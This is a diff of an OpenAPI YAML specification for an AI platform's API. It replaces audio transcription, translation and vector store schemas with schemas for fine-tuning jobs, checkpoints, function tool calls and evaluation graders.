+ code:
+ type: string
+ description: A machine-readable error code.
+ message:
+ type: string
+ description: A human-readable error message.
+ param:
+ anyOf:
+ - type: string
+ description: The parameter that was invalid, usually `training_file` or `validation_file`. This field will be null if the failure was not parameter-specific.
+ - type: 'null'
+ required:
+ - code
+ - message
+ - param
+ - type: 'null'
+ fine_tuned_model:
+ anyOf:
+ - type: string
+ description: The name of the fine-tuned model that is being created. The value will be null if the fine-tuning job is still running.
+ - type: 'null'
+ finished_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the fine-tuning job was finished. The value will be null if the fine-tuning job is still running.
+ - type: 'null'
+ hyperparameters:
+ type: object
+ description: The hyperparameters used for the fine-tuning job. This value will only be returned when running `supervised` jobs.
+ properties:
+ batch_size:
+ anyOf:
+ - description: |
+ Number of examples in each batch. A larger batch size means that model parameters
+ are updated less frequently, but with lower variance.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 256
+ title: Auto
+ - type: 'null'
+ title: Manual
+ learning_rate_multiplier:
+ description: |
+ Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
+ overfitting.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ title: Auto
+ - type: number
+ minimum: 0
+ exclusiveMinimum: true
+ n_epochs:
+ description: |
+ The number of epochs to train the model for. An epoch refers to one full cycle
+ through the training dataset.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ title: Auto
+ - type: integer
+ minimum: 1
+ maximum: 50
+ model:
type: string
- description: The language of the input audio.
- duration:
- type: number
- format: double
- description: The duration of the input audio.
- text:
+ description: The base model that is being fine-tuned.
+ object:
type: string
- description: The transcribed text.
- words:
- type: array
- description: Extracted words and their corresponding timestamps.
- items:
- $ref: '#/components/schemas/TranscriptionWord'
- segments:
+ description: The object type, which is always "fine_tuning.job".
+ enum:
+ - fine_tuning.job
+ x-stainless-const: true
+ organization_id:
+ type: string
+ description: The organization that owns the fine-tuning job.
+ result_files:
type: array
- description: Segments of the transcribed text and their corresponding details.
+ description: The compiled results file ID(s) for the fine-tuning job. You can retrieve the results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
items:
- $ref: '#/components/schemas/TranscriptionSegment'
- usage:
- $ref: '#/components/schemas/TranscriptTextUsageDuration'
+ type: string
+ example: file-abc123
+ status:
+ type: string
+ description: The current status of the fine-tuning job, which can be either `validating_files`, `queued`, `running`, `succeeded`, `failed`, or `cancelled`.
+ enum:
+ - validating_files
+ - queued
+ - running
+ - succeeded
+ - failed
+ - cancelled
+ trained_tokens:
+ anyOf:
+ - type: integer
+ description: The total number of billable tokens processed by this fine-tuning job. The value will be null if the fine-tuning job is still running.
+ - type: 'null'
+ training_file:
+ type: string
+ description: The file ID used for training. You can retrieve the training data with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
+ validation_file:
+ anyOf:
+ - type: string
+ description: The file ID used for validation. You can retrieve the validation results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
+ - type: 'null'
+ integrations:
+ anyOf:
+ - type: array
+ description: A list of integrations to enable for this fine-tuning job.
+ maxItems: 5
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/FineTuningIntegration'
+ discriminator:
+ propertyName: type
+ - type: 'null'
+ seed:
+ type: integer
+ description: The seed used for the fine-tuning job.
+ estimated_finish:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the fine-tuning job is estimated to finish. The value will be null if the fine-tuning job is not running.
+ - type: 'null'
+ method:
+ $ref: '#/components/schemas/FineTuneMethod'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
required:
- - language
- - duration
- - text
+ - created_at
+ - error
+ - finished_at
+ - fine_tuned_model
+ - hyperparameters
+ - id
+ - model
+ - object
+ - organization_id
+ - result_files
+ - status
+ - trained_tokens
+ - training_file
+ - validation_file
+ - seed
x-oaiMeta:
- name: The transcription object (Verbose JSON)
- group: audio
+ name: The fine-tuning job object
example: |
{
- "task": "transcribe",
- "language": "english",
- "duration": 8.470000267028809,
- "text": "The beach was a popular spot on a hot summer day. People were swimming in the ocean, building sandcastles, and playing beach volleyball.",
- "segments": [
- {
- "id": 0,
- "seek": 0,
- "start": 0.0,
- "end": 3.319999933242798,
- "text": " The beach was a popular spot on a hot summer day.",
- "tokens": [
- 50364, 440, 7534, 390, 257, 3743, 4008, 322, 257, 2368, 4266, 786, 13, 50530
- ],
- "temperature": 0.0,
- "avg_logprob": -0.2860786020755768,
- "compression_ratio": 1.2363636493682861,
- "no_speech_prob": 0.00985979475080967
- },
- ...
+ "object": "fine_tuning.job",
+ "id": "ftjob-abc123",
+ "model": "davinci-002",
+ "created_at": 1692661014,
+ "finished_at": 1692661190,
+ "fine_tuned_model": "ft:davinci-002:my-org:custom_suffix:7q8mpxmy",
+ "organization_id": "org-123",
+ "result_files": [
+ "file-abc123"
],
- "usage": {
- "type": "duration",
- "seconds": 9
+ "status": "succeeded",
+ "validation_file": null,
+ "training_file": "file-abc123",
+ "hyperparameters": {
+ "n_epochs": 4,
+ "batch_size": 1,
+ "learning_rate_multiplier": 1.0
+ },
+ "trained_tokens": 5768,
+ "integrations": [],
+ "seed": 0,
+ "estimated_finish": 0,
+ "method": {
+ "type": "supervised",
+ "supervised": {
+ "hyperparameters": {
+ "n_epochs": 4,
+ "batch_size": 1,
+ "learning_rate_multiplier": 1.0
+ }
+ }
+ },
+ "metadata": {
+ "key": "value"
}
}
- CreateTranslationRequest:
+ FineTuningJobCheckpoint:
type: object
- additionalProperties: false
+ title: FineTuningJobCheckpoint
+ description: |
+ The `fine_tuning.job.checkpoint` object represents a model checkpoint for a fine-tuning job that is ready to use.
properties:
- file:
- description: |
- The audio file object (not file name) translate, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
+ id:
type: string
- x-oaiTypeLabel: file
- format: binary
- x-oaiMeta:
- exampleFilePath: speech.mp3
- model:
- description: |
- ID of the model to use. Only `whisper-1` (which is powered by our open source Whisper V2 model) is currently available.
- example: whisper-1
- anyOf:
- - type: string
- - type: string
- enum:
- - whisper-1
- x-stainless-const: true
- x-oaiTypeLabel: string
- prompt:
- description: |
- An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should be in English.
+ description: The checkpoint identifier, which can be referenced in the API endpoints.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the checkpoint was created.
+ fine_tuned_model_checkpoint:
type: string
- response_format:
- description: |
- The format of the output, in one of these options: `json`, `text`, `srt`, `verbose_json`, or `vtt`.
+ description: The name of the fine-tuned checkpoint model that is created.
+ step_number:
+ type: integer
+ description: The step number that the checkpoint was created at.
+ metrics:
+ type: object
+ description: Metrics at the step number during the fine-tuning job.
+ properties:
+ step:
+ type: number
+ train_loss:
+ type: number
+ train_mean_token_accuracy:
+ type: number
+ valid_loss:
+ type: number
+ valid_mean_token_accuracy:
+ type: number
+ full_valid_loss:
+ type: number
+ full_valid_mean_token_accuracy:
+ type: number
+ fine_tuning_job_id:
type: string
- enum:
- - json
- - text
- - srt
- - verbose_json
- - vtt
- default: json
- temperature:
- description: |
- The sampling temperature, between 0 and 1. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. If set to 0, the model will use [log probability](https://en.wikipedia.org/wiki/Log_probability) to automatically increase the temperature until certain thresholds are hit.
- type: number
- default: 0
- required:
- - file
- - model
- CreateTranslationResponseJson:
- type: object
- properties:
- text:
+ description: The name of the fine-tuning job that this checkpoint was created from.
+ object:
type: string
+ description: The object type, which is always "fine_tuning.job.checkpoint".
+ enum:
+ - fine_tuning.job.checkpoint
+ x-stainless-const: true
required:
- - text
- CreateTranslationResponseVerboseJson:
+ - created_at
+ - fine_tuning_job_id
+ - fine_tuned_model_checkpoint
+ - id
+ - metrics
+ - object
+ - step_number
+ x-oaiMeta:
+ name: The fine-tuning job checkpoint object
+ example: |
+ {
+ "object": "fine_tuning.job.checkpoint",
+ "id": "ftckpt_qtZ5Gyk4BLq1SfLFWp3RtO3P",
+ "created_at": 1712211699,
+ "fine_tuned_model_checkpoint": "ft:gpt-4o-mini-2024-07-18:my-org:custom_suffix:9ABel2dg:ckpt-step-88",
+ "fine_tuning_job_id": "ftjob-fpbNQ3H1GrMehXRf8cO97xTN",
+ "metrics": {
+ "step": 88,
+ "train_loss": 0.478,
+ "train_mean_token_accuracy": 0.924,
+ "valid_loss": 10.112,
+ "valid_mean_token_accuracy": 0.145,
+ "full_valid_loss": 0.567,
+ "full_valid_mean_token_accuracy": 0.944
+ },
+ "step_number": 88
+ }
+ FineTuningJobEvent:
type: object
+ description: Fine-tuning job event object
properties:
- language:
- type: string
- description: The language of the output translation (always `english`).
- duration:
- type: number
- format: double
- description: The duration of the input audio.
- text:
+ object:
type: string
- description: The translated text.
- segments:
- type: array
- description: Segments of the translated text and their corresponding details.
- items:
- $ref: '#/components/schemas/TranscriptionSegment'
- required:
- - language
- - duration
- - text
- CreateUploadRequest:
- type: object
- additionalProperties: false
- properties:
- filename:
- description: |
- The name of the file to upload.
+ description: The object type, which is always "fine_tuning.job.event".
+ enum:
+ - fine_tuning.job.event
+ x-stainless-const: true
+ id:
type: string
- purpose:
- description: |
- The intended purpose of the uploaded file.
-
- See the [documentation on File
- purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
+ description: The object identifier.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the fine-tuning job was created.
+ level:
type: string
+ description: The log level of the event.
enum:
- - assistants
- - batch
- - fine-tune
- - vision
- bytes:
- description: |
- The number of bytes in the file you are uploading.
- type: integer
- mime_type:
- description: |
- The MIME type of the file.
-
-
- This must fall within the supported MIME types for your file purpose. See
- the supported MIME types for assistants and vision.
+ - info
+ - warn
+ - error
+ message:
type: string
- expires_after:
- $ref: '#/components/schemas/FileExpirationAfter'
- required:
- - filename
- - purpose
- - bytes
- - mime_type
- CreateVectorStoreFileBatchRequest:
- type: object
- additionalProperties: false
- properties:
- file_ids:
- description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files. If `attributes` or `chunking_strategy` are provided, they will be applied to all files in the batch. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `files`.
- type: array
- minItems: 1
- maxItems: 2000
- items:
- type: string
- files:
- description: A list of objects that each include a `file_id` plus optional `attributes` or `chunking_strategy`. Use this when you need to override metadata for specific files. The global `attributes` or `chunking_strategy` will be ignored and must be specified for each file. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `file_ids`.
- type: array
- minItems: 1
- maxItems: 2000
- items:
- $ref: '#/components/schemas/CreateVectorStoreFileRequest'
- chunking_strategy:
- $ref: '#/components/schemas/ChunkingStrategyRequestParam'
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
- CreateVectorStoreFileRequest:
- type: object
- additionalProperties: false
- properties:
- file_id:
- description: A [File](https://developers.openai.com/api/reference/resources/files) ID that the vector store should use. Useful for tools like `file_search` that can access files. For multi-file ingestion, we recommend [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create) to minimize per-vector-store write requests.
+ description: The message of the event.
+ type:
type: string
- chunking_strategy:
- $ref: '#/components/schemas/ChunkingStrategyRequestParam'
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
+ description: The type of event.
+ enum:
+ - message
+ - metrics
+ data:
+ type: object
+ description: The data associated with the event.
required:
- - file_id
- CreateVectorStoreRequest:
+ - id
+ - object
+ - created_at
+ - level
+ - message
+ x-oaiMeta:
+ name: The fine-tuning job event object
+ example: |
+ {
+ "object": "fine_tuning.job.event",
+ "id": "ftevent-abc123"
+ "created_at": 1677610602,
+ "level": "info",
+ "message": "Created fine-tuning job",
+ "data": {},
+ "type": "message"
+ }
+ FunctionAndCustomToolCallOutput:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/InputTextContent'
+ - $ref: '#/components/schemas/InputImageContent'
+ - $ref: '#/components/schemas/InputFileContent'
+ FunctionObject:
type: object
- additionalProperties: false
properties:
- file_ids:
- description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files.
- type: array
- maxItems: 500
- items:
- type: string
- name:
- description: The name of the vector store.
- type: string
description:
- description: A description for the vector store. Can be used to describe the vector store's purpose.
- type: string
- expires_after:
- $ref: '#/components/schemas/VectorStoreExpirationAfter'
- chunking_strategy:
- $ref: '#/components/schemas/ChunkingStrategyRequestParam'
- description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy. Only applicable if `file_ids` is non-empty.
- metadata:
- $ref: '#/components/schemas/Metadata'
- CreateVoiceConsentRequest:
- type: object
- additionalProperties: false
- properties:
- name:
- type: string
- description: The label to use for this consent recording.
- recording:
- type: string
- format: binary
- x-oaiTypeLabel: file
- description: |
- The consent audio recording file. Maximum size is 10 MiB.
-
- Supported MIME types:
- `audio/mpeg`, `audio/wav`, `audio/x-wav`, `audio/ogg`, `audio/aac`, `audio/flac`, `audio/webm`, `audio/mp4`.
- language:
type: string
- description: The BCP 47 language tag for the consent phrase (for example, `en-US`).
- required:
- - name
- - recording
- - language
- CreateVoiceRequest:
- type: object
- additionalProperties: false
- properties:
+ description: A description of what the function does, used by the model to choose when and how to call the function.
name:
type: string
- description: The name of the new voice.
- audio_sample:
- type: string
- format: binary
- x-oaiTypeLabel: file
- description: |
- The sample audio recording file. Maximum size is 10 MiB.
-
- Supported MIME types:
- `audio/mpeg`, `audio/wav`, `audio/x-wav`, `audio/ogg`, `audio/aac`, `audio/flac`, `audio/webm`, `audio/mp4`.
- consent:
- type: string
- description: The consent recording ID (for example, `cons_1234`).
+ description: The name of the function to be called. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64.
+ parameters:
+ $ref: '#/components/schemas/FunctionParameters'
+ strict:
+ anyOf:
+ - type: boolean
+ default: false
+ description: Whether to enable strict schema adherence when generating the function call. If set to true, the model will follow the exact schema defined in the `parameters` field. Only a subset of JSON Schema is supported when `strict` is `true`. Learn more about Structured Outputs in the [function calling guide](https://developers.openai.com/api/docs/guides/function-calling).
+ - type: 'null'
required:
- name
- - audio_sample
- - consent
- CustomToolCall:
+ FunctionParameters:
type: object
- title: Custom tool call
+ description: |-
+ The parameters the functions accepts, described as a JSON Schema object. See the [guide](https://developers.openai.com/api/docs/guides/function-calling) for examples, and the [JSON Schema reference](https://json-schema.org/understanding-json-schema/) for documentation about the format.
+
+ Omitting `parameters` defines a function with an empty parameter list.
+ additionalProperties: true
+ FunctionToolCall:
+ type: object
+ title: Function tool call
description: |
- A call to a custom tool created by the model.
+ A tool call to run a function. See the
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
properties:
- type:
+ id:
type: string
- enum:
- - custom_tool_call
- x-stainless-const: true
description: |
- The type of the custom tool call. Always `custom_tool_call`.
- id:
+ The unique ID of the function tool call.
+ type:
type: string
+ enum:
+ - function_call
description: |
- The unique ID of the custom tool call in the OpenAI platform.
+ The type of the function tool call. Always `function_call`.
+ x-stainless-const: true
call_id:
type: string
description: |
- An identifier used to map this custom tool call to a tool call output.
+ The unique ID of the function tool call generated by the model.
caller:
anyOf:
- $ref: '#/components/schemas/ToolCallCaller'
@@ -35379,78 +41545,103 @@ components:
namespace:
type: string
description: |
- The namespace of the custom tool being called.
+ The namespace of the function to run.
name:
type: string
description: |
- The name of the custom tool being called.
- input:
+ The name of the function to run.
+ arguments:
type: string
description: |
- The input for the custom tool call generated by the model.
+ A JSON string of the arguments to pass to the function.
+ status:
+ type: string
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ enum:
+ - in_progress
+ - completed
+ - incomplete
async:
type: boolean
description: |
- Whether the custom tool call runs asynchronously.
+ Whether the function tool call runs asynchronously.
required:
- type
- call_id
- name
- - input
- CustomToolCallOutput:
+ - arguments
+ FunctionToolCallOutput:
type: object
- title: Custom tool call output
+ title: Function tool call output
description: |
- The output of a custom tool call from your code, being sent back to the model.
+ The output of a function tool call.
properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the function tool call output. Populated when this item
+ is returned via API.
type:
type: string
enum:
- - custom_tool_call_output
+ - function_call_output
+ description: |
+ The type of the function tool call output. Always `function_call_output`.
x-stainless-const: true
+ call_id:
+ type: string
description: |
- The type of the custom tool call output. Always `custom_tool_call_output`.
- id:
+ The unique ID of the function tool call generated by the model.
+ name:
type: string
description: |
- The unique ID of the custom tool call output in the OpenAI platform.
- call_id:
+ The name of the tool that produced the output.
+ namespace:
type: string
description: |
- The call ID, used to map this custom tool call output to a custom tool call.
+ The namespace of the tool that produced the output.
caller:
anyOf:
- $ref: '#/components/schemas/ToolCallCallerParam'
- type: 'null'
output:
description: |
- The output from the custom tool call generated by your code.
+ The output from the function call generated by your code.
Can be a string or an list of output content.
anyOf:
- type: string
description: |
- A string of the output of the custom tool call.
+ A string of the output of the function call.
title: string output
- type: array
items:
$ref: '#/components/schemas/FunctionAndCustomToolCallOutput'
title: output content list
description: |
- Text, image, or file output of the custom tool call.
+ Text, image, or file output of the function call.
+ status:
+ type: string
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ enum:
+ - in_progress
+ - completed
+ - incomplete
required:
- type
- - call_id
- output
- CustomToolCallOutputResource:
- title: ResponseCustomToolCallOutputItem
+ FunctionToolCallOutputResource:
allOf:
- - $ref: '#/components/schemas/CustomToolCallOutput'
+ - $ref: '#/components/schemas/FunctionToolCallOutput'
- type: object
properties:
id:
type: string
description: |
- The unique ID of the custom tool call output item.
+ The unique ID of the function call tool output.
status:
description: |
The status of the item. One of `in_progress`, `completed`, or
@@ -35463,16 +41654,15 @@ components:
required:
- id
- status
- CustomToolCallResource:
- title: ResponseCustomToolCallItem
+ FunctionToolCallResource:
allOf:
- - $ref: '#/components/schemas/CustomToolCall'
+ - $ref: '#/components/schemas/FunctionToolCall'
- type: object
properties:
id:
type: string
description: |
- The unique ID of the custom tool call item.
+ The unique ID of the function tool call.
status:
description: |
The status of the item. One of `in_progress`, `completed`, or
@@ -35485,1764 +41675,1814 @@ components:
required:
- id
- status
- CustomToolChatCompletions:
+ GraderLabelModel:
type: object
- title: Custom tool
+ title: LabelModelGrader
description: |
- A custom tool that processes input using a specified format.
+ A LabelModelGrader object which uses a model to assign labels to each item
+ in the evaluation.
properties:
type:
+ description: The object type, which is always `label_model`.
type: string
enum:
- - custom
- description: The type of the custom tool. Always `custom`.
+ - label_model
x-stainless-const: true
- custom:
- type: object
- title: Custom tool properties
- description: |
- Properties of the custom tool.
- properties:
- name:
- type: string
- description: The name of the custom tool, used to identify it in tool calls.
- description:
- type: string
- description: |
- Optional description of the custom tool, used to provide more context.
- format:
- description: |
- The input format for the custom tool. Default is unconstrained text.
- anyOf:
- - type: object
- title: Text format
- description: Unconstrained free-form text.
- properties:
- type:
- type: string
- enum:
- - text
- description: Unconstrained text format. Always `text`.
- x-stainless-const: true
- required:
- - type
- additionalProperties: false
- - type: object
- title: Grammar format
- description: A grammar defined by the user.
- properties:
- type:
- type: string
- enum:
- - grammar
- description: Grammar format. Always `grammar`.
- x-stainless-const: true
- grammar:
- type: object
- title: Grammar format
- description: Your chosen grammar.
- properties:
- definition:
- type: string
- description: The grammar definition.
- syntax:
- type: string
- description: The syntax of the grammar definition. One of `lark` or `regex`.
- enum:
- - lark
- - regex
- required:
- - definition
- - syntax
- required:
- - type
- - grammar
- additionalProperties: false
- discriminator:
- propertyName: type
- required:
- - name
+ name:
+ type: string
+ description: The name of the grader.
+ model:
+ type: string
+ description: The model to use for the evaluation. Must support structured outputs.
+ input:
+ type: array
+ items:
+ $ref: '#/components/schemas/EvalItem'
+ labels:
+ type: array
+ items:
+ type: string
+ description: The labels to assign to each item in the evaluation.
+ passing_labels:
+ type: array
+ items:
+ type: string
+ description: The labels that indicate a passing result. Must be a subset of labels.
required:
- type
- - custom
- DeleteAssistantResponse:
+ - model
+ - input
+ - passing_labels
+ - labels
+ - name
+ x-oaiMeta:
+ name: Label Model Grader
+ group: graders
+ example: |
+ {
+ "name": "First label grader",
+ "type": "label_model",
+ "model": "gpt-4o-2024-08-06",
+ "input": [
+ {
+ "type": "message",
+ "role": "system",
+ "content": {
+ "type": "input_text",
+ "text": "Classify the sentiment of the following statement as one of positive, neutral, or negative"
+ }
+ },
+ {
+ "type": "message",
+ "role": "user",
+ "content": {
+ "type": "input_text",
+ "text": "Statement: {{item.response}}"
+ }
+ }
+ ],
+ "passing_labels": [
+ "positive"
+ ],
+ "labels": [
+ "positive",
+ "neutral",
+ "negative"
+ ]
+ }
+ GraderMulti:
type: object
+ title: MultiGrader
+ description: A MultiGrader object combines the output of multiple graders to produce a single score.
properties:
- id:
- type: string
- deleted:
- type: boolean
- object:
+ type:
type: string
enum:
- - assistant.deleted
+ - multi
+ default: multi
+ description: The object type, which is always `multi`.
x-stainless-const: true
+ name:
+ type: string
+ description: The name of the grader.
+ graders:
+ anyOf:
+ - $ref: '#/components/schemas/GraderStringCheck'
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - $ref: '#/components/schemas/GraderPython'
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - $ref: '#/components/schemas/GraderLabelModel'
+ calculate_output:
+ type: string
+ description: A formula to calculate the output based on grader results.
required:
- - id
- - object
- - deleted
- DeleteCertificateResponse:
+ - name
+ - type
+ - graders
+ - calculate_output
+ x-oaiMeta:
+ name: Multi Grader
+ group: graders
+ example: |
+ {
+ "type": "multi",
+ "name": "example multi grader",
+ "graders": [
+ {
+ "type": "text_similarity",
+ "name": "example text similarity grader",
+ "input": "The graded text",
+ "reference": "The reference text",
+ "evaluation_metric": "fuzzy_match"
+ },
+ {
+ "type": "string_check",
+ "name": "Example string check grader",
+ "input": "{{sample.output_text}}",
+ "reference": "{{item.label}}",
+ "operation": "eq"
+ }
+ ],
+ "calculate_output": "0.5 * text_similarity_score + 0.5 * string_check_score)"
+ }
+ GraderPython:
type: object
+ title: PythonGrader
+ description: |
+ A PythonGrader object that runs a python script on the input.
properties:
- object:
+ type:
+ type: string
+ enum:
+ - python
+ description: The object type, which is always `python`.
x-stainless-const: true
- description: The object type, must be `certificate.deleted`.
- const: certificate.deleted
- id:
+ name:
type: string
- description: The ID of the certificate that was deleted.
+ description: The name of the grader.
+ source:
+ type: string
+ description: The source code of the python script.
+ image_tag:
+ type: string
+ description: The image tag to use for the python script.
required:
- - object
- - id
- DeleteFileResponse:
+ - type
+ - name
+ - source
+ x-oaiMeta:
+ name: Python Grader
+ group: graders
+ example: |
+ {
+ "type": "python",
+ "name": "Example python grader",
+ "image_tag": "2025-05-08",
+ "source": """
+ def grade(sample: dict, item: dict) -> float:
+ \"""
+ Returns 1.0 if `output_text` equals `label`, otherwise 0.0.
+ \"""
+ output = sample.get("output_text")
+ label = item.get("label")
+ return 1.0 if output == label else 0.0
+ """,
+ }
+ GraderScoreModel:
type: object
+ title: ScoreModelGrader
+ description: |
+ A ScoreModelGrader object that uses a model to assign a score to the input.
properties:
- id:
- type: string
- object:
+ type:
type: string
enum:
- - file
+ - score_model
+ description: The object type, which is always `score_model`.
x-stainless-const: true
- deleted:
- type: boolean
+ name:
+ type: string
+ description: The name of the grader.
+ model:
+ type: string
+ description: The model to use for the evaluation.
+ sampling_params:
+ type: object
+ description: The sampling parameters for the model.
+ properties:
+ seed:
+ anyOf:
+ - type: integer
+ description: |
+ A seed value to initialize the randomness, during sampling.
+ - type: 'null'
+ top_p:
+ anyOf:
+ - type: number
+ default: 1
+ example: 1
+ description: |
+ An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
+ - type: 'null'
+ temperature:
+ anyOf:
+ - type: number
+ description: |
+ A higher temperature increases randomness in the outputs.
+ - type: 'null'
+ max_completions_tokens:
+ anyOf:
+ - type: integer
+ minimum: 1
+ description: |
+ The maximum number of tokens the grader model may generate in its response.
+ - type: 'null'
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ input:
+ type: array
+ items:
+ $ref: '#/components/schemas/EvalItem'
+ description: |
+ The input messages evaluated by the grader. Supports text, output text, input image, and input audio content blocks, and may include template strings.
+ range:
+ type: array
+ items:
+ type: number
+ min_items: 2
+ max_items: 2
+ description: The range of the score. Defaults to `[0, 1]`.
required:
- - id
- - object
- - deleted
- DeleteFineTuningCheckpointPermissionResponse:
+ - type
+ - name
+ - input
+ - model
+ x-oaiMeta:
+ name: Score Model Grader
+ group: graders
+ example: |
+ {
+ "type": "score_model",
+ "name": "Example score model grader",
+ "input": [
+ {
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": (
+ "Score how close the reference answer is to the model answer. Score 1.0 if they are the same and 0.0 if they are different."
+ " Return just a floating point score\n\n"
+ " Reference answer: {{item.label}}\n\n"
+ " Model answer: {{sample.output_text}}"
+ )
+ },
+ {
+ "type": "input_image",
+ "image_url": "https://example.com/reference.png",
+ "file_id": null,
+ "detail": "auto"
+ }
+ ],
+ }
+ ],
+ "model": "gpt-5-mini",
+ "sampling_params": {
+ "temperature": 1,
+ "top_p": 1,
+ "seed": 42,
+ "max_completions_tokens": 32768,
+ "reasoning_effort": "medium"
+ },
+ }
+ GraderStringCheck:
type: object
+ title: StringCheckGrader
+ description: |
+ A StringCheckGrader object that performs a string comparison between input and reference using a specified operation.
properties:
- id:
- type: string
- description: The ID of the fine-tuned model checkpoint permission that was deleted.
- object:
+ type:
type: string
- description: The object type, which is always "checkpoint.permission".
enum:
- - checkpoint.permission
+ - string_check
+ description: The object type, which is always `string_check`.
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the fine-tuned model checkpoint permission was successfully deleted.
+ name:
+ type: string
+ description: The name of the grader.
+ input:
+ type: string
+ description: The input text. This may include template strings.
+ reference:
+ type: string
+ description: The reference text. This may include template strings.
+ operation:
+ type: string
+ enum:
+ - eq
+ - ne
+ - like
+ - ilike
+ description: The string check operation to perform. One of `eq`, `ne`, `like`, or `ilike`.
required:
- - id
- - object
- - deleted
- DeleteMessageResponse:
+ - type
+ - name
+ - input
+ - reference
+ - operation
+ x-oaiMeta:
+ name: String Check Grader
+ group: graders
+ example: |
+ {
+ "type": "string_check",
+ "name": "Example string check grader",
+ "input": "{{sample.output_text}}",
+ "reference": "{{item.label}}",
+ "operation": "eq"
+ }
+ GraderTextSimilarity:
type: object
+ title: TextSimilarityGrader
+ description: |
+ A TextSimilarityGrader object which grades text based on similarity metrics.
properties:
- id:
- type: string
- deleted:
- type: boolean
- object:
+ type:
type: string
enum:
- - thread.message.deleted
+ - text_similarity
+ default: text_similarity
+ description: The type of grader.
x-stainless-const: true
- required:
- - id
- - object
- - deleted
- DeleteModelResponse:
- type: object
- properties:
- id:
+ name:
type: string
- deleted:
- type: boolean
- object:
+ description: The name of the grader.
+ input:
type: string
- required:
- - id
- - object
- - deleted
- DeleteThreadResponse:
- type: object
- properties:
- id:
+ description: The text being graded.
+ reference:
type: string
- deleted:
- type: boolean
- object:
+ description: The text being graded against.
+ evaluation_metric:
type: string
enum:
- - thread.deleted
- x-stainless-const: true
+ - cosine
+ - fuzzy_match
+ - bleu
+ - gleu
+ - meteor
+ - rouge_1
+ - rouge_2
+ - rouge_3
+ - rouge_4
+ - rouge_5
+ - rouge_l
+ description: "The evaluation metric to use. One of `cosine`, `fuzzy_match`, `bleu`, \n`gleu`, `meteor`, `rouge_1`, `rouge_2`, `rouge_3`, `rouge_4`, `rouge_5`, \nor `rouge_l`.\n"
required:
- - id
- - object
- - deleted
- DeleteVectorStoreFileResponse:
+ - type
+ - name
+ - input
+ - reference
+ - evaluation_metric
+ x-oaiMeta:
+ name: Text Similarity Grader
+ group: graders
+ example: |
+ {
+ "type": "text_similarity",
+ "name": "Example text similarity grader",
+ "input": "{{sample.output_text}}",
+ "reference": "{{item.label}}",
+ "evaluation_metric": "fuzzy_match"
+ }
+ Group:
type: object
+ description: Summary information about a group returned in role assignment responses.
properties:
- id:
- type: string
- deleted:
- type: boolean
object:
type: string
enum:
- - vector_store.file.deleted
+ - group
+ description: Always `group`.
x-stainless-const: true
- required:
- - id
- - object
- - deleted
- DeleteVectorStoreResponse:
- type: object
- properties:
id:
type: string
- deleted:
- type: boolean
- object:
+ description: Identifier for the group.
+ name:
type: string
- enum:
- - vector_store.deleted
- x-stainless-const: true
+ description: Display name of the group.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the group was created.
+ scim_managed:
+ type: boolean
+ description: Whether the group is managed through SCIM.
required:
- - id
- object
- - deleted
- DeletedConversation:
- title: The deleted conversation object
- allOf:
- - $ref: '#/components/schemas/DeletedConversationResource'
+ - id
+ - name
+ - created_at
+ - scim_managed
x-oaiMeta:
- name: The deleted conversation object
- group: conversations
- DeletedRoleAssignmentResource:
+ name: The group object
+ example: |
+ {
+ "object": "group",
+ "id": "group_01J1F8ABCDXYZ",
+ "name": "Support Team",
+ "created_at": 1711471533,
+ "scim_managed": false
+ }
+ GroupDeletedResource:
type: object
- description: Confirmation payload returned after unassigning a role.
